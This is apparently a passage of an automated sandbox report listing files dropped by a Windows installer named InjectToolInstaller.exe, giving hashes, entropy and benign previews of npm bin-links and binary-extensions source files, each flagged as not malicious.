SSDEEP:	12:9FMUnXS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3ew:9LCICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	89966567781EE3DC29AECA2D18A59501
SHA1:	A6D614386E4974EEF58B014810F00D4ED1881575
SHA-256:	898C2BCFF663681498AD1CA8235D45B6E70B10CDF1F869A5B5E69F6E46EFEDD3
SHA-512:	602DD09BE2544542A46083E71A6E43FEFC99EB884BDD705F629F8B4BF49192C6F8C482CD6A490397AFDE100BE9347524079ABB4C6D18BDA3F64CF2FB77D2FE4C
Malicious:	false
Preview:	The ISC License..Copyright (c) npm, Inc...Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\bin-target.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	4.882696030126405
Encrypted:	false
SSDEEP:	6:1i3ctMsKXFcpbZs3nejWdbaqB6rOi1F3ch7r+FfAI:1ii8Sq3nWCbaqBkW6l
MD5:	5C8BDDD6ACAA3FFA3D1E9B505F88BC48
SHA1:	AFA32581385AC69890499078EA658660A6C8CAB3
SHA-256:	9D3611A931B18C135619FA7B4722B7C8248CCFAC72CA1D42098047DA2BD4FA9E
SHA-512:	5A8FF1B0C0A91B46CD93DB8CA0410D5EB62E5B2BA0353E6E892EBDF5ED561893B1722D74E86CDB83DD577B62DB4CFB77980348354AE72282BDBF7FF9D9904891
Malicious:	false
Preview:	const isWindows = require('./is-windows.js').const getPrefix = require('./get-prefix.js').const getNodeModules = require('./get-node-modules.js').const { dirname } = require('path')..module.exports = ({ top, path }) =>. !top ? getNodeModules(path) + '/.bin'. : isWindows ? getPrefix(path). : dirname(getPrefix(path)) + '/bin'.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\check-bin.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2064
Entropy (8bit):	4.854852371370503
Encrypted:	false
SSDEEP:	48:h77ryXYyZjh2fExVswALGDg7cP/NER5Xq9ixXEI2hMwzrwfCfcHUaZ:Z7OXY22fcV/ALGDg7cPV45awxXEI2ht2
MD5:	9EF0FC8E4A4373E3F4DEE2F6DD3ECE4D
SHA1:	40BD389ADD4B62DFABA2AE6592EE365D61AE8DF5
SHA-256:	D3BED799627906E9504DEDC82BB0296519DC4A1D73666DDC8BBDCE73251F54D6
SHA-512:	71FFA8B4FDF1C10665F1C17BC0AECA5A066AF2CD04243A7858747B2200EEEC338933949B8E87C4398D0D5468EF375ACC366BA0B96A1D84027F0C11FAC88C4D97
Malicious:	false
Preview:	// check to see if a bin is allowed to be overwritten.// either rejects or resolves to nothing. return value not relevant..const isWindows = require('./is-windows.js').const binTarget = require('./bin-target.js').const { resolve, dirname } = require('path').const readCmdShim = require('read-cmd-shim').const { readlink } = require('fs/promises')..const checkBin = async ({ bin, path, top, global, force }) => {. // always ok to clobber when forced. // always ok to clobber local bins, or when forced. if (force \|\| !global \|\| !top) {. return. }.. // ok, need to make sure, then. const target = resolve(binTarget({ path, top }), bin). path = resolve(path). return isWindows ? checkShim({ target, path }) : checkLink({ target, path }).}..// only enoent is allowed. anything else is a problem..const handleReadLinkError = async ({ er, target }) =>. er.code === 'ENOENT' ? null. : failEEXIST({ target })..const checkLink = async ({ target, path }) => {. const current = await readlink(tar

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\check-bins.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	493
Entropy (8bit):	4.784524986504357
Encrypted:	false
SSDEEP:	12:NNg4xu4phNSjeRAFheE0h9RkOg9jF1cYBMXRA0BYBo:Na4Y4phgKRgYE0hv8KtRA0BYq
MD5:	E6140E083DC490BBD90927BA5D6E6195
SHA1:	36EFB969A86F454F953D36235141B2F6D7C375DD
SHA-256:	8C48F07F5C530F0D033A4B34BE9933C8376BE6C9383F8A6A87D234B11FB4B658
SHA-512:	89BA4C52BB4F99AA845B9E70CAC168DCC1D18A244B7C49D74C5E4C0A970909641D2799E81081EF1BB6CAFBF40EAD5913439B72C4FEA5DE66A58DC3C54321B2C0
Malicious:	false
Preview:	const checkBin = require('./check-bin.js').const normalize = require('npm-normalize-package-bin').const checkBins = async ({ pkg, path, top, global, force }) => {. // always ok to clobber when forced. // always ok to clobber local bins, or when forced. if (force \|\| !global \|\| !top) {. return. }.. pkg = normalize(pkg). if (!pkg.bin) {. return. }.. await Promise.all(Object.keys(pkg.bin). .map(bin => checkBin({ bin, path, top, global, force }))).}.module.exports = checkBins.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\fix-bin.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	4.995402991883019
Encrypted:	false
SSDEEP:	24:QFUPaw4OESJ5QPc/8YXUKV6IT6Xyw+TUwxyBB:QFsBZElPs8qUq/OkHM7
MD5:	70FED99CA7F2A1C52011AACF7B93E1AE
SHA1:	B1A183F53662D63A95530AF37C5D17EC2C651481
SHA-256:	EED383D9CB6529244F5F5C29EE8258D141F3231B06DB4A453D1181DAC3F83F1B
SHA-512:	6E44689818F852C448F37280483B329FB2C247486570D802B466AB07AD45DC73F825447F1B2D7F04763DF55CEAADD99ED00B6E5DEC83C88D27B5A7A00C277F51
Malicious:	false
Preview:	// make sure that bins are executable, and that they don't have.// windows line-endings on the hashbang line..const {. chmod,. open,. readFile,.} = require('fs/promises')..const execMode = 0o777 & (~process.umask())..const writeFileAtomic = require('write-file-atomic')..const isWindowsHashBang = buf =>. buf[0] === '#'.charCodeAt(0) &&. buf[1] === '!'.charCodeAt(0) &&. /^#![^\n]+\r\n/.test(buf.toString())..const isWindowsHashbangFile = file => {. const FALSE = () => false. return open(file, 'r').then(fh => {. const buf = Buffer.alloc(2048). return fh.read(buf, 0, 2048, 0). .then(. () => {. const isWHB = isWindowsHashBang(buf). return fh.close().then(() => isWHB, () => isWHB). },. // don't leak FD if read() fails. () => fh.close().then(FALSE, FALSE). ). }, FALSE).}..const dos2Unix = file =>. readFile(file, 'utf8').then(content =>. writeFileAtomic(file, content.replace(/^(#![^\n]+)\r\n/, '$1\n')))..const fixBin = (

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\get-node-modules.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	534
Entropy (8bit):	4.610047431284625
Encrypted:	false
SSDEEP:	12:jg8n+FintjN4b0y4EUsbarjXXHuBYlJAt60Jmrb36li:s8Pt9y4SW/OBgJY60Jab36o
MD5:	42521F7D9DE09ADD32F9BF4C8565DB80
SHA1:	3F78AED4FBA981634DFE34A0D0204EC0CCAB45BF
SHA-256:	13C88721D65427EDE8FBE56DA7F4F65A10A1E2E18004FABF6A6E567649544DF4
SHA-512:	76B64ED001F943C39FDBC083F62D734165054EC09A84C9176B4D4CA6902B94BB563CB1D2CDAFB7A9B436C2B3CA01D5709951F2FBD19329FBB069B265AF23A349
Malicious:	false
Preview:	// we know it's global and/or not top, so the path has to be.// {prefix}/node_modules/{name}. Can't rely on pkg.name, because.// it might be installed as an alias...const { dirname, basename } = require('path').// this gets called a lot and can't change, so memoize it.const memo = new Map().module.exports = path => {. if (memo.has(path)) {. return memo.get(path). }.. const scopeOrNm = dirname(path). const nm = basename(scopeOrNm) === 'node_modules' ? scopeOrNm. : dirname(scopeOrNm).. memo.set(path, nm). return nm.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\get-paths.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1245
Entropy (8bit):	4.712505804905162
Encrypted:	false
SSDEEP:	24:YDCSPR5wKoGDaWzhBpQIYW8R129gBY4ELBvv/zs9+Oo:qgGPhc+41mg/iBHbsNo
MD5:	EBE8AE81FB37CE3B9013E079A98E93CF
SHA1:	485D49B124B7E90FA5A095CD9121D6793DA0D684
SHA-256:	879F022D46E9ABB72F5433D2C640D930A48C73D63DC116E3C211B5A6EEC4B3EE
SHA-512:	751CF6C020E47E200A3FE77247791DB7405779B4864F62E30E722BA42F6DCD51EE7B08395A17DA8327EC1C884D63B1D5CE04A60951605334EB7E2EDB04F147CD
Malicious:	false
Preview:	// get all the paths that are (or might be) installed for a given pkg.// There's no guarantee that all of these will be installed, but if they.// are present, then we can assume that they're associated..const binTarget = require('./bin-target.js').const manTarget = require('./man-target.js').const { resolve, basename, extname } = require('path').const isWindows = require('./is-windows.js').module.exports = ({ path, pkg, global, top }) => {. if (top && !global) {. return []. }.. const binSet = []. const binTarg = binTarget({ path, top }). if (pkg.bin) {. for (const bin of Object.keys(pkg.bin)) {. const b = resolve(binTarg, bin). binSet.push(b). if (isWindows) {. binSet.push(b + '.cmd'). binSet.push(b + '.ps1'). }. }. }.. const manTarg = manTarget({ path, top }). const manSet = []. if (manTarg && pkg.man && Array.isArray(pkg.man) && pkg.man.length) {. for (const man of pkg.man) {. if (!/.\.[0-9]+(\.gz)?$/.test(man)) {. re

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\get-prefix.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	147
Entropy (8bit):	4.656570819969658
Encrypted:	false
SSDEEP:	3:bMX9HbU9APeK6NKScpoQUaI/ABcAMPWPvItyBbcAWwIoReSchu5:bWdbaEAFcpbZs3ne7BYAxchG
MD5:	8E06B27BAB3FD1CCB8DC7C16A51206CE
SHA1:	B39E3F9BCCA605AD02E8E566DE76E3EA6A4D328C
SHA-256:	20F84829CA527F284A09B5A22A55250FD3AF9BC222CA674396EC92ACD5A03016
SHA-512:	A9AE14D8958D205C23C2D33A82E146126BAD6E789B2F2847CB39058C2EDB9D11B9BB2EC5B40233BA1EB8247F884E622CBDA0B72C10314DB3240E2F582EEA3E0E
Malicious:	false
Preview:	const { dirname } = require('path').const getNodeModules = require('./get-node-modules.js').module.exports = path => dirname(getNodeModules(path)).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	4.7267384642462416
Encrypted:	false
SSDEEP:	24:iwnFt44KXRFKy+6L+Km86ncOcNdh0WLLN3SA1qeVIJHA1n0Q6w0A7B9Xsr:iw44KXRFKy+k+Km86cOMh08tqhu1nF0P
MD5:	21A5E8801924CFC7A90AA2605F26011F
SHA1:	3A8D07627992F9255463C64174374ECF85F73605
SHA-256:	1D21AC0449224C18381E41D946F5B59A95AA1663478104AF23C640A61E4B05AF
SHA-512:	52790984FD9CB205149E9EB378070FD96A071FD41BCCCB775EE373F3DD9112D72C12E1752E65181E1EA596020552C8E57B6A28DD99EDD7E4B2EF29F04F927DD3
Malicious:	false
Preview:	const linkBins = require('./link-bins.js').const linkMans = require('./link-mans.js')..const binLinks = opts => {. const { path, pkg, force, global, top } = opts. // global top pkgs on windows get bins installed in {prefix}, and no mans. //. // unix global top pkgs get their bins installed in {prefix}/bin,. // and mans in {prefix}/share/man. //. // non-top pkgs get their bins installed in {prefix}/node_modules/.bin,. // and do not install mans. //. // non-global top pkgs don't have any bins or mans linked. From here on. // out, if it's top, we know that it's global, so no need to pass that. // option further down the stack.. if (top && !global) {. return Promise.resolve(). }.. return Promise.all([. // allow clobbering within the local node_modules/.bin folder.. // only global bins are protected in this way, or else it is. // yet another vector for excessive dependency conflicts.. linkBins({ path, pkg, top, force: force \|\| !top }),. linkMans({ path, pkg

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\is-windows.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	118
Entropy (8bit):	5.011259418693879
Encrypted:	false
SSDEEP:	3:IExYvXCtcVxrM/s4JnWxdgjEQLYBbROYbXCvn:QCcVxo/sUnWAlYB5zsn
MD5:	D126511D34A3656BA7EDAA9AD6A2F786
SHA1:	2D5418B538B4374E0165EA73F228555B1587A697
SHA-256:	0C3EAC813EC8EFB70EF5BFB98572C7E4D2F6D0BB43281717BA03876B74FA1C1E
SHA-512:	022BD3F607CC75D8F20A7418A26486E1043B430346AEEFE4B01D8C05D51BBD57376BDF5B189B55133E5EDB7AEC8225B7C852D82A5A20974D756F9D7A3AE10C6E
Malicious:	false
Preview:	const platform = process.env.__TESTING_BIN_LINKS_PLATFORM__ \|\| process.platform.module.exports = platform === 'win32'.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\link-bin.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	4.78020883475952
Encrypted:	false
SSDEEP:	6:ZAymcoXWMLSC3JVOxFjBX1FGvZ0NeAlB8TgUm6nIlB8TgT8VA+VA/jzBkL9:CyOXWdC3bODVXPk6lBITIlBIJA+VYBkR
MD5:	31E1D7A28A99F1C6A6864008C40B5163
SHA1:	EC04A290AE18FAB8C9E734ED1E5A6C8A51F6EDE9
SHA-256:	368A4AF7BD9859EB38C2A1ADDDDDC9D8A792849015A60C82CD7A63119DEE3537
SHA-512:	FBDB7E90E8E355ED7E7FC2E3A7396B7C43E690434CDA4986286BB2B561D7AA209840E5C9E135D08879C2D2F7D93FC484D1BA76DA8A96D53F652C008C3CB34C9B
Malicious:	false
Preview:	const linkGently = require('./link-gently.js').const fixBin = require('./fix-bin.js')..// linking bins is simple. just symlink, and if we linked it, fix the bin up.const linkBin = ({ path, to, from, absFrom, force }) =>. linkGently({ path, to, from, absFrom, force }). .then(linked => linked && fixBin(absFrom))..module.exports = linkBin.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\link-bins.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	775
Entropy (8bit):	4.829509587274294
Encrypted:	false
SSDEEP:	12:1ik3L0FazoxA24p+sh7nF/kOggww6rAl4eDSPR59/4gjh43NPIT6HBkLG:MgzMA24pT/8ZrYtDSP547euBkLG
MD5:	47B2992C86A936ABBE4B08D8453F2202
SHA1:	D8AB383895693394B0078BAD9D3562AD55D0E548
SHA-256:	02CADB3052D03B9D5B63582DF363CDA8CB4293D674B1BED3465F641E1C338E7C
SHA-512:	4599744DB3A3DACF3C8F34259A90742A16A3A46DE9561D98391913663E71AF8379067E49D8920A7BFA23303DC8425FCD6B23463A27B851733A5503E63767F797
Malicious:	false
Preview:	const isWindows = require('./is-windows.js').const binTarget = require('./bin-target.js').const { dirname, resolve, relative } = require('path').const linkBin = isWindows ? require('./shim-bin.js') : require('./link-bin.js').const normalize = require('npm-normalize-package-bin')..const linkBins = ({ path, pkg, top, force }) => {. pkg = normalize(pkg). if (!pkg.bin) {. return Promise.resolve([]). }. const promises = []. const target = binTarget({ path, top }). for (const [key, val] of Object.entries(pkg.bin)) {. const to = resolve(target, key). const absFrom = resolve(path, val). const from = relative(dirname(to), absFrom). promises.push(linkBin({ path, from, to, absFrom, force })). }. return Promise.all(promises).}..module.exports = linkBins.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\link-gently.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2610
Entropy (8bit):	4.61591388665215
Encrypted:	false
SSDEEP:	48:Yf5VJMlsrVZ5W8+ZkXQ2T8X+blL7onhlPXMjVv3Gkf0iJtxsj8UEPXx:I7KMDpXlM+hHonbEjVvfPxK8UEPh
MD5:	75E837FC22CFEF5A0D3E4766829C6439
SHA1:	5B8D9FEE0D48E7AF83B9D7F5E6047856C2129EE3
SHA-256:	1F5FFFB3F282B3696D3387E9C93C6085DC7A3A7BFC73F78E245B520106476599
SHA-512:	25B728197E2B8A870C21F9955437FD5EFC240E72B6341DB153A74DE2CC5F79681910FA8A3A1FFBC6BAE1869308C840678F98F314FF53D9F1862B54E2C2594681
Malicious:	false
Preview:	// if the thing isn't there, skip it.// if there's a non-symlink there already, eexist.// if there's a symlink already, pointing somewhere else, eexist.// if there's a symlink already, pointing into our pkg, remove it first.// then create the symlink..const { resolve, dirname } = require('path').const { lstat, mkdir, readlink, rm, symlink } = require('fs/promises').const throwNonEnoent = er => {. if (er.code !== 'ENOENT') {. throw er. }.}..const rmOpts = {. recursive: true,. force: true,.}..// even in --force mode, we never create a link over a link we've.// already created. you can have multiple packages in a tree trying.// to contend for the same bin, or the same manpage listed multiple times,.// which creates a race condition and nondeterminism..const seen = new Set()..const SKIP = Symbol('skip - missing or already installed').const CLOBBER = Symbol('clobber - ours or in forceful mode')..const linkGently = async ({ path, to, from, absFrom, force }) => {. if (seen.has(to)) {

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\link-mans.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1539
Entropy (8bit):	4.755024457908922
Encrypted:	false
SSDEEP:	24:n6W6lC5rQDY1MrO9NT356XqaXg/Pshjyv5NSASAXgbyvd4CenD7BkLF:nqAu9MNT9aXckJybvX0ylYn/IF
MD5:	13E6E48875682E6B5C1B6A74663EB95E
SHA1:	CFE1AB720E9D9D5B12C75018AE641154E9AC0D0E
SHA-256:	E79041B4D32C57A302518CEECA0BC6A94341B45F1D8F425FA5AA4619612DA8F7
SHA-512:	B0CF6FC86C4EB5561B81877CAD05F4AEE2A351EEF73FFC7C8C3A9BDA477D881DA041E00A79FD43A6DA78F7404D1B5C37A3FCD19D514F7B47F39714C0DCEBD58B
Malicious:	false
Preview:	const { dirname, relative, join, resolve, basename } = require('path').const linkGently = require('./link-gently.js').const manTarget = require('./man-target.js')..const linkMans = async ({ path, pkg, top, force }) => {. const target = manTarget({ path, top }). if (!target \|\| !Array.isArray(pkg?.man) \|\| !pkg.man.length) {. return []. }.. const links = []. // `new Set` to filter out duplicates. for (let man of new Set(pkg.man)) {. if (!man \|\| typeof man !== 'string') {. continue. }. // break any links to c:\\blah or /foo/blah or ../blah. man = join('/', man).replace(/\\\|:/g, '/').slice(1). const parseMan = man.match(/\.([0-9]+)(\.gz)?$/). if (!parseMan) {. throw Object.assign(new Error('invalid man entry name\n' +. 'Man files must end with a number, ' +. 'and optionally a .gz suffix if they are compressed.'. ), {. code: 'EBADMAN',. path,. pkgid: pkg._id,. man,. }). }.. const section = parseMan

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\man-target.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	232
Entropy (8bit):	4.863210425270729
Encrypted:	false
SSDEEP:	3:1wtjCIdJcuGQ2TMJaI9Z0GQhMX9HbU9APhQ0BburKVh4kIc8yWHHfOoRCgmUffy:1i3ctMsKgWdbaqB6rOiZ/RHH0
MD5:	96A00ED07FDE9ED0AA93C45FAE776998
SHA1:	C1F79B0C274F9229BFC2A04846FBC336CDB83CF2
SHA-256:	4578C55562D0AD84E90DAE90E7E0C56E63335B8DB1471734099CBE5A4764A8E3
SHA-512:	6D1B126ACA0A06952AD328AD6B304C276D5DC6A5CD06D42C670A2F4E1E7AC123469B0078A2A5407A7D23A67D7BE27690E9829318F0F27BA1CFCFB13836D97F36
Malicious:	false
Preview:	const isWindows = require('./is-windows.js').const getPrefix = require('./get-prefix.js').const { dirname } = require('path')..module.exports = ({ top, path }) => !top \|\| isWindows ? null. : dirname(getPrefix(path)) + '/share/man'.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\lib\shim-bin.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2102
Entropy (8bit):	4.736695206998843
Encrypted:	false
SSDEEP:	48:bzxCPl1ZaXDER5Xq9KEbRRxBQwaWT2bTUqYztt3WWz5EPXY:vQd+XD45a8Q34waWT2XUqWttFz5EPI
MD5:	887A9F958F95FB9A1F92A65131E8BB18
SHA1:	A35B246BEAC7E1AE7517217ACF38A9D09CC9978B
SHA-256:	C69CD87FC0FDAC8EB387925C9953DF3053ED934C7FE21CF0B844C16E4EBA795F
SHA-512:	27C81EE55003CFA72EFB8DCA79553815DA2665B7912E4C580FA9A1EF5455DA3CB85C05370F6C25D728B6420BF1B809C3DA38E2DB49E6F9D8F5C1C2205FC04302
Malicious:	false
Preview:	const { resolve, dirname } = require('path').const { lstat } = require('fs/promises').const throwNonEnoent = er => {. if (er.code !== 'ENOENT') {. throw er. }.}..const cmdShim = require('cmd-shim').const readCmdShim = require('read-cmd-shim')..const fixBin = require('./fix-bin.js')..// even in --force mode, we never create a shim over a shim we've.// already created. you can have multiple packages in a tree trying.// to contend for the same bin, which creates a race condition and.// nondeterminism..const seen = new Set()..const failEEXIST = ({ path, to, from }) =>. Promise.reject(Object.assign(new Error('EEXIST: file already exists'), {. path: to,. dest: from,. code: 'EEXIST',. }))..const handleReadCmdShimError = ({ er, from, to }) =>. er.code === 'ENOENT' ? null. : er.code === 'ENOTASHIM' ? failEEXIST({ from, to }). : Promise.reject(er)..const SKIP = Symbol('skip - missing or already installed').const shimBin = ({ path, to, from, absFrom, force }) => {. const shim

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	4.728138983085383
Encrypted:	false
SSDEEP:	24:A1Mb5BPVKFfesLCNYKba1JDId8LIFhV4HIAYYgMJo6xv1QV:IMnPV2esWdaUd8sP2fwMf7QV
MD5:	D0C4C57964A9D6BEB414B0089A56B6FB
SHA1:	BE56BE2E674E58D9F9BCC33A6652A9F559DE53B0
SHA-256:	CAA948DA021DCDC424733F9CD1CC9688169DD5C44DDE82986D806CA920B6BD14
SHA-512:	14CCD2167419A55C00FE6045D0F0FBD8F54BA1BD4968E50EBBEDDA4934D045A162E00C4E1C979933EE26768A4097ABE16762A160C8A131097D93456DB027E679
Malicious:	false
Preview:	{. "name": "bin-links",. "version": "4.0.3",. "description": "JavaScript package binary linker",. "main": "./lib/index.js",. "scripts": {. "snap": "tap",. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/bin-links.git". },. "keywords": [. "npm",. "link",. "bins". ],. "license": "ISC",. "dependencies": {. "cmd-shim": "^6.0.0",. "npm-normalize-package-bin": "^3.0.0",. "read-cmd-shim": "^4.0.0",. "write-file-atomic": "^5.0.0". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.19.0",. "require-inject": "^1.4.4",. "tap": "^16.0.1". },. "tap": {. "check-coverage": true,. "coverage-map": "map.js",. "nyc-arg": [. "--exclude",. "tap-snapshots/**".

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\binary-extensions\binary-extensions.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2158
Entropy (8bit):	4.010344712620348
Encrypted:	false
SSDEEP:	48:EQ2UCzbSuofwJbwkZ9yhMhP5kd0yOL/524euZEX/rgtTusha4/I:Ezx+Q9qMdE0yOLNGrkCOQ
MD5:	CF9E3C0917AF799E0CBBE5ACF806A962
SHA1:	62F4470A453FA697C51C9BEEBD56CC96EB8BDFEE
SHA-256:	33FDE8751404D4D03E04960985A9E0FA50265706D74CA0356398A227C092629B
SHA-512:	FD855FA6F8C549B26F70EC4D156BD02DC83B3AC7FAAF2A2AA8B4A54CC5E2909D14CFD1F80CA37CFBB54904949892DF384EC0536ACD0505E564CDBE3A5F081070
Malicious:	false
Preview:	[.."3dm",.."3ds",.."3g2",.."3gp",.."7z",.."a",.."aac",.."adp",.."ai",.."aif",.."aiff",.."alz",.."ape",.."apk",.."appimage",.."ar",.."arj",.."asf",.."au",.."avi",.."bak",.."baml",.."bh",.."bin",.."bk",.."bmp",.."btif",.."bz2",.."bzip2",.."cab",.."caf",.."cgm",.."class",.."cmx",.."cpio",.."cr2",.."cur",.."dat",.."dcm",.."deb",.."dex",.."djvu",.."dll",.."dmg",.."dng",.."doc",.."docm",.."docx",.."dot",.."dotm",.."dra",.."DS_Store",.."dsk",.."dts",.."dtshd",.."dvb",.."dwg",.."dxf",.."ecelp4800",.."ecelp7470",.."ecelp9600",.."egg",.."eol",.."eot",.."epub",.."exe",.."f4v",.."fbs",.."fh",.."fla",.."flac",.."flatpak",.."fli",.."flv",.."fpx",.."fst",.."fvt",.."g3",.."gh",.."gif",.."graffle",.."gz",.."gzip",.."h261",.."h263",.."h264",.."icns",.."ico",.."ief",.."img",.."ipa",.."iso",.."jar",.."jpeg",.."jpg",.."jpgv",.."jpm",.."jxr",.."key",.."ktx",.."lha",.."lib",.."lvp",.."lz",.."lzh",.."lzma",.."lzo",.."m3u",.."m4a",.."m4v",.."mar",.."mdi",.."mht",.."mid",.."midi",.."mj2",.."mka",.."mkv",.."mmr"

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\binary-extensions\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.5137847242254345
Encrypted:	false
SSDEEP:	3:3BBBbJF04HUEHn:xBBPD0Gn
MD5:	1CCD550E0730DF056A88FB1A090DEE67
SHA1:	322ABEBC9731F9D1F2258BE4A3B4B9D10624BA37
SHA-256:	5B2859EC9677F14E6499B135B2E05A083FD2A1AFCE18175AC0658BC9D4C49774
SHA-512:	9A81B601C909D5B0FC34B3D90805F704B91E73E7FF411C17EBD41676A2E2DA17FC066EAE3C7BDE565BFE009A3A5446F26337753C34702A5E55FD2B59C8D1C1FD
Malicious:	false
Preview:	module.exports = require('./binary-extensions.json');.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\binary-extensions\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1159
Entropy (8bit):	5.123422116147725
Encrypted:	false
SSDEEP:	24:TSArr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:TSAr8JplPvEDvQHcs5ITc3omFD
MD5:	DA0684B7C90DCEA9333D6517F4FBDA22
SHA1:	099EC1CE6AEC30693CDA4EFF5F90F0B75E13C83A
SHA-256:	85FE65EEFAB89E2A683232B96E6F689279821A0BD3B351E9AB6A6EBD19DEA567
SHA-512:	5B3BDAA67E26731727C2FDB4FE50E5562F94AC73F62A5271D7515CA91AA794C71669E0507DE4A375AA1FCECD9915351BECC96842C80B5C86492CC27BB24C24BE
Malicious:	false
Preview:	MIT License..Copyright (c) 2019 Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com), Paul Miller (https://paulmillr.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILI

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\binary-extensions\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	4.736555510809632
Encrypted:	false
SSDEEP:	12:g9Pa14hb/QJn4Fy8UZebtKG2zyQnN1FG7dTGNIjxEJhpZiL:mPa14hb/Q+dU2wQzjxEDpg
MD5:	D2FAE281CE985BBEF1B5D5445013330A
SHA1:	DB5533C64B2CCA9D5D3B7DE9B86C0A817ED5E12D
